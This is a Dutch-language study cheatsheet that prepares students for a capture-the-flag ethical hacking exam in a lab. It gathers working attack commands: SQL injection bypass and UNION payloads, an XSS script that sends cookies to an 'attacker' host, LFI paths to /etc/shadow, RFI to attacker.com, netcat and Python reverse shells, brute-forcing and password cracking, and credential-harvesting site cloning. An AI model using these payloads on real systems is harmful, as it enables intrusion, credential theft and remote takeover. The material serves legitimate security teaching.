Ethical Hacking — Cheatsheet
Praktijktoets voorbereiding | Verboden: Metasploit · sqlmap · nikto | Internet toegestaan
🔍 Nmap — Netwerk scannen
Nmap klopt op alle poorten van een machine en kijkt wat er terugkomt. Altijd je eerste stap op de toets.
Scan types
Meest gebruikt
| Type | Vlag | Wanneer gebruiken |
| SYN scan | -sS | Standaard, stealthy — half-open verbinding, minder logs |
| TCP connect | -sT | Geen root nodig, maar detecteerbaar (volledige handshake) |
| UDP scan | -sU | Voor SNMP (161), DNS (53), DHCP (67) |
| FIN scan | -sF | Bypass sommige firewalls — stuurt FIN ipv SYN |
| Ping sweep | -sn | Alleen kijken wie actief is, geen poorten |
| Versie detect | -sV | Welke software + versie draait op een poort |
| OS detectie | -O | Welk besturingssysteem draait er |
| Alle poorten | -p- | Scan alle 65535 poorten (langzamer) |
Handige combinaties
Toets gebruik
Netwerk overzicht — altijd als eerste
nmap -sn 10.x.x.0/24
Alle poorten + versies (bonuspunt)
nmap -sV -p- 10.x.x.x
Resultaat opslaan
nmap -sV -p- 10.x.x.0/24 -oN scan.txt
Vulnerability scan via scripts
nmap --script vuln 10.x.x.x
nmap --script smb-vuln-ms17-010 -p445 10.x.x.x
Poort status betekenis
| open | Service actief, SYN-ACK ontvangen |
| closed | Geen service, RST ontvangen |
| filtered | Firewall blokkeert, geen reactie |
🔌 Belangrijke poorten
| Poort | Protocol | Wat is het? |
| 21 | FTP | Bestandsoverdracht. Probeer altijd anoniem inloggen (user: anonymous, pw: leeg) |
| 22 | SSH | Versleutelde remote shell. Brute-force met Hydra. |
| 25 / 587 | SMTP | E-mail verzenden. Open relay = kwetsbaar voor phishing/spam |
| 53 | DNS | Naam-resolutie. Cache poisoning aanval mogelijk |
| 80 / 443 | HTTP/S | Web. 80 = onversleuteld, 443 = versleuteld |
| 110 / 143 | POP3 / IMAP | E-mail ophalen. Onversleuteld = credentials zichtbaar in pcap |
| 137-139 | NetBIOS | Windows naam-resolutie. LLMNR poisoning via UDP 137 |
| 161 UDP | SNMP | Network device beheer. v2c gebruikt community strings (zwak!) |
| 445 | SMB | Windows bestandsdeling. EternalBlue, enum4linux, smbclient |
| 3306 | MySQL | Database. Probeer standaard credentials: root / (leeg) |
| 3389 | RDP | Remote Desktop Windows. Brute-force met Hydra mogelijk |
| 5355 UDP | LLMNR | Windows fallback naam-resolutie. Poisoning geeft NTLMv2-hashes |
🏴 SMB — Bestandsdeling (Vlag 01)
smbclient — anoniem verkennen
Poort 139 / 445
Welke shares zijn er?
smbclient -L //10.x.x.x -N
# -L = list (overzicht tonen)
# -N = no password (anoniem)
Verbinding maken met een share
smbclient //10.x.x.x/SHARENAAM -N
Eenmaal verbonden
ls # bestanden tonen
cd mapnaam # map ingaan
get vlag.txt # bestand downloaden
💡 Kijk in ALLE mappen — de vlag kan diep verstopt zitten
enum4linux — SMB enumeratie
Users + shares
enum4linux haalt automatisch alle informatie op via SMB: shares, gebruikers, groepen en wachtwoordbeleid.
enum4linux -a 10.x.x.x # alles ophalen
enum4linux -U 10.x.x.x # alleen gebruikers
enum4linux -S 10.x.x.x # alleen shares
Nmap SMB scripts
nmap --script smb-enum-shares -p445 10.x.x.x
nmap --script smb-enum-users -p445 10.x.x.x
📡 Wireshark — PCAP analyse (Vlag 02)
HTTP is niet versleuteld. Als iemand inlogt via HTTP, staat het wachtwoord gewoon leesbaar in het netwerkverkeer.
Pcap analyseren
HTTP plaintext
Stap 1 — filter op HTTP POST
# Filterbar bovenin Wireshark:
http.request.method == "POST"
# Of simpeler:
http
Stap 2 — volledige conversatie bekijken
# Rechtermuisknop op POST packet
# → Follow → TCP Stream
# Zoek naar: username= en password=
💡 Credentials staan als plaintext in de POST body: username=admin&password=...
Zelf opnemen
tcpdump
Als er geen pcap aangeleverd wordt, neem je zelf het verkeer op.
Via terminal
sudo tcpdump -i eth0 -w /tmp/opname.pcap
# Ctrl+C om te stoppen
wireshark /tmp/opname.pcap
Via Wireshark GUI
# Interface selecteren (eth0)
# Blauwe haaienvink = starten
# Rood vierkant = stoppen
🔑 Wachtwoorden kraken (Vlag 03)
John the Ripper — Linux hashes
/etc/shadow
Linux slaat wachtwoorden gehashed op in /etc/shadow. John probeert elk woord uit de woordenlijst te hashen en vergelijkt.
Stap 1 — combineer passwd + shadow
unshadow /etc/passwd /etc/shadow > /tmp/crack.db
Stap 2 — pak rockyou uit (als nodig)
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Stap 3 — kraken + resultaten tonen
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/crack.db
john --show /tmp/crack.db
# Output: gebruikersnaam:wachtwoord ← dit is de vlag!
Hashcat — sneller via GPU
Offline cracking
Hashcat is sneller dan John, maar je moet het hash-type zelf opgeven met -m.
| Hash type | -m waarde |
| MD5 | -m 0 |
| SHA-512 (Linux shadow) | -m 1800 |
| NTLM (Windows) | -m 1000 |
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
Hydra — online brute force
hydra -l admin -P rockyou.txt ssh://10.x.x.x
# Hydra = stuurt echte inlogpogingen naar dienst
# Hashcat/John = offline, geen contact met doelwit
📁 Directory bruteforce (Vlag 04)
Webservers hebben soms verborgen pagina's die niet gelinkt zijn. dirb probeert automatisch duizenden namen uit.
dirb — verborgen endpoints
Web enumeration
dirb http://10.x.x.x:8080
Resultaat opslaan + filteren
dirb http://10.x.x.x:8080 -o /tmp/dirb.txt
grep "^+" /tmp/dirb.txt
# CODE:200 = pagina bestaat!
Inhoud ophalen
curl -sL http://10.x.x.x:8080/logs
# -s = geen voortgangsbalk
# -L = volg redirects (301 → 200)
💡 Altijd de CODE:200 hits bekijken — dat zijn bestaande pagina's
React/SPA apps — dirb werkt niet!
Speciale aanpak nodig
React apps geven altijd 200 OK terug, ook voor niet-bestaande pagina's. dirb kan het verschil niet zien. Gebruik de JavaScript broncode.
Stap 1 — vind het JS bestand
curl -s http://10.x.x.x:8080 | grep -o 'src="/static/js/main[^"]*"'
# Geeft: src="/static/js/main.88c12e46.js"
Stap 2 — haal alle routes eruit
curl -s http://10.x.x.x:8080/static/js/main.88c12e46.js | grep -o '"\/[a-z]*"' | sort -u
# Geeft: "/administrator" "/logs" "/shop" etc.
Of alles in één commando
JS=$(curl -s http://10.x.x.x:8080 | grep -o '/static/js/main[^"]*' | head -1)
curl -s "http://10.x.x.x:8080$JS" | grep -o '"\/[a-z]*"' | sort -u
gobuster bij React — filter op responsgrootte
gobuster dir -u http://10.x.x.x:8080 \
-w /usr/share/wordlists/dirb/common.txt \
--exclude-length 374
# 374 = grootte van de standaard React response
# Eerst testen: curl -s http://10.x.x.x/nietbestaand | wc -c
💡 JS broncode is de meest betrouwbare methode bij React apps
Handmatig bekende paden (altijd proberen)
curl http://10.x.x.x/robots.txt
curl http://10.x.x.x/admin
curl http://10.x.x.x/administrator
curl http://10.x.x.x/logs
curl http://10.x.x.x/backup
🏴 HTML broncode inspecteren (Vlag 05)
Vlag vinden in paginabron
HTML commentaar
Ontwikkelaars laten soms informatie achter in HTML-commentaar dat niet zichtbaar is op de pagina, maar wel leesbaar in de broncode.
Methode 1 — curl + grep
curl -s http://10.x.x.x/ | grep -i "flag\|<!--"
# -i = hoofdletterongevoelig
Methode 2 — browser
# Ctrl+U = paginabron
# Ctrl+F → zoek: flag of <!--
Methode 3 — DevTools
# F12 → Elements tab
# Kijk bij <head> en <footer>
💡 Vlag staat vaak in <!-- commentaar --> in de footer of head van de pagina
💉 SQL Injection (Vlag 06)
Een login-formulier bouwt een SQL-query met jouw input. Als er geen validatie is, kun je de query manipuleren om altijd true te zijn.
Login bypass — handmatig
Geen sqlmap!
Stap 1 — disabled veld activeren (F12)
# F12 → Elements tab
# Zoek input veld met attribuut: disabled
# Dubbelklik op disabled → verwijder het
# Nu kun je admin intypen
Stap 2 — payloads in wachtwoordveld
' or true;# # MySQL
' OR 1=1-- # algemeen
" or ""=" # dubbele aanhalingstekens
administrator'-- # directe admin bypass
' OR '1'='1 # alternatief
⚠️ Werkt één payload niet? Probeer de volgende — hangt af van de database
Geavanceerde SQLi — handmatig
Zonder sqlmap
Stap 1 — testen of het kwetsbaar is
' # geeft error → kwetsbaar!
1 OR 1=1
Stap 2 — aantal kolommen bepalen
1 ORDER BY 1-- # verhoog tot je een error krijgt
1 ORDER BY 4-- # error = 3 kolommen
Stap 3 — data ophalen
1 UNION SELECT version(),database(),user()--
1 UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()--
1 UNION SELECT username,password,3 FROM users--
⚡ XSS — Cross-Site Scripting
Script injecteren dat draait in de browser van het slachtoffer. Reflected = via URL. Stored = opgeslagen in database, treft elke bezoeker.
XSS Payloads
Browser aanval
Basis test
<script>alert('XSS')</script>
Cookie stelen
<script>document.location='http://attacker/?c='+document.cookie</script>
Via img tag (script geblokkeerd?)
<img src="x" onerror="alert('xss')">
Via event handlers
<a onmouseover="alert(document.cookie)">klik</a>
<body onload=alert('xss')>
CSRF — Cross-Site Request Forgery
Server vertrouwt browser
Slachtoffer is ingelogd op site A. Aanvaller stuurt een link die automatisch een request doet naar site A namens het slachtoffer.
Verschil met XSS
# XSS = jij misbruikt vertrouwen van BROWSER in jouw script
# CSRF = jij misbruikt vertrouwen van SERVER in de browser
CSRF aanval URL
http://target/changepass?password_new=hack&password_conf=hack&Change=Change
# Slachtoffer klikt op deze link → wachtwoord gewijzigd
💡 Kijk altijd naar URL parameters bij wachtwoord-wijzig functies
📂 Path Traversal / LFI / RFI
Bestandstoegang via kwetsbare parameters
Directory Traversal
../.. navigeert een map omhoog. Via genoeg ../ bereik je de root.
?page=../../../../etc/passwd
?page=../../etc/shadow
# URL encoded:
../%2e%2e%2f
LFI — Local File Inclusion
Lokale bestanden van de server lezen via een kwetsbare include-parameter.
?file=../etc/passwd
?lang=../../../../etc/passwd
# Null byte bypass (oud):
?lang=../../../../etc/passwd%00
RFI — Remote File Inclusion
Code uitvoeren van een externe server. Gevaarlijker dan LFI maar minder voorkomend.
?page=http://attacker.com/shell.php
# Server voert jouw code uit!
🌐 SSRF — Server-Side Request Forgery (Vlag 07)
Je vraagt de server om een request te doen naar een adres dat jij opgeeft — ook interne adressen die jij zelf niet kunt bereiken.
SSRF aanval
Server als tussenpersoon
Hoe herken je het?
# URL met url= of fetch= parameter:
# /fetch-data?url=http://externe-site.com
# Knoppen: "More details", "Preview", "Load"
Aanval uitvoeren
curl "http://10.x.x.x:5050/fetch-data?url=http://localhost:8002"
curl "http://10.x.x.x:5050/fetch-data?url=http://127.0.0.1:8002"
# Probeer ook container hostnamen:
curl "http://10.x.x.x:5050/fetch-data?url=http://oefentoets-frontend-1:8002"
Visueel uitgelegd
# Normaal:
Jij → Server → Externe site → terug
# SSRF (jij past url= aan):
Jij → Server → Interne server :8002 → terug
↑ server bereikt dit, jij niet!
💡 Probeer localhost, 127.0.0.1 en container namen
🐚 Netcat — Shells
Bind shell vs Reverse shell
Bind shell — slachtoffer luistert
# Op slachtoffer (opent poort):
nc -lvp 4444 -e /bin/bash
# Aanvaller verbindt ernaar toe:
nc -nv 10.x.x.x 4444
Reverse shell — aanvaller luistert
# Aanvaller luistert (jij):
nc -lvp 4444
# Slachtoffer belt terug:
nc 10.x.x.x 4444 -e /bin/bash
💡 Reverse shell werkt bijna altijd — firewalls blokkeren zelden uitgaand verkeer
Andere Netcat uses
| Doel | Commando |
| Poort checken | nc -zv 10.x.x.x 80 |
| Banner grabbing | nc -nv 10.x.x.x 80 |
| Bestand sturen | nc -nv IP 1234 < bestand.txt |
| Bestand ontvangen | nc -lvp 1234 > output.txt |
Python reverse shell (als nc niet werkt)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
🎭 Social Engineering
Aanval types
| Type | Wat is het? |
| Phishing | Massa e-mail aanval |
| Spear phishing | Gericht op specifiek persoon |
| Whaling | Spear phishing op CEO/CFO |
| Vishing | Voice phishing (telefoon) |
| Smishing | SMS phishing |
| Watering hole | Website hacken die doelwit bezoekt |
| Tailgating | Volgen ZONDER toestemming |
| Piggybacking | Volgen MET toestemming |
| Shoulder surfing | Over schouder meekijken |
| Dumpster diving | Afval doorzoeken |
Tools + rapport structuur
SET — website klonen
sudo setoolkit
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester
# 2) Site Cloner → vul URL in
Pentest rapport structuur
1. Executive Summary ← voor management
2. Scope ← in/out of scope
3. Findings + CVSS ← 0-10 score
4. Methodology ← tools gebruikt
5. Remediation ← hoe oplossen
6. Conclusie
⚠️ CVSS: 0-3.9 Low | 4-6.9 Medium | 7-8.9 High | 9-10 Critical
📋 Volgorde op de toets
| # | Actie | Commando |
| 1 | Netwerkscan — altijd als eerste (bonuspunt!) | nmap -sV -p- 10.x.x.0/24 -oN scan.txt |
| 2 | Poort 139/445 open? | smbclient -L //IP -N |
| 3 | Webserver zichtbaar? | dirb http://IP:POORT → curl -sL → grep -i flag |
| 4 | Loginpagina gevonden? | F12 + disabled verwijderen + ' or true;# |
| 5 | url= parameter ergens? | curl "http://IP/fetch?url=http://localhost:8002" |
| 6 | Pcap bestand beschikbaar? | Wireshark → filter http → Follow TCP Stream |
| 7 | /etc/shadow bereikbaar? | unshadow passwd shadow → john → john --show |
| 8 | Per vlag documenteren | Vlag · commando · fullscreen screenshot |
⚠️ Naam + studentnummer invullen op het rapport — zonder dit is de toets ongeldig!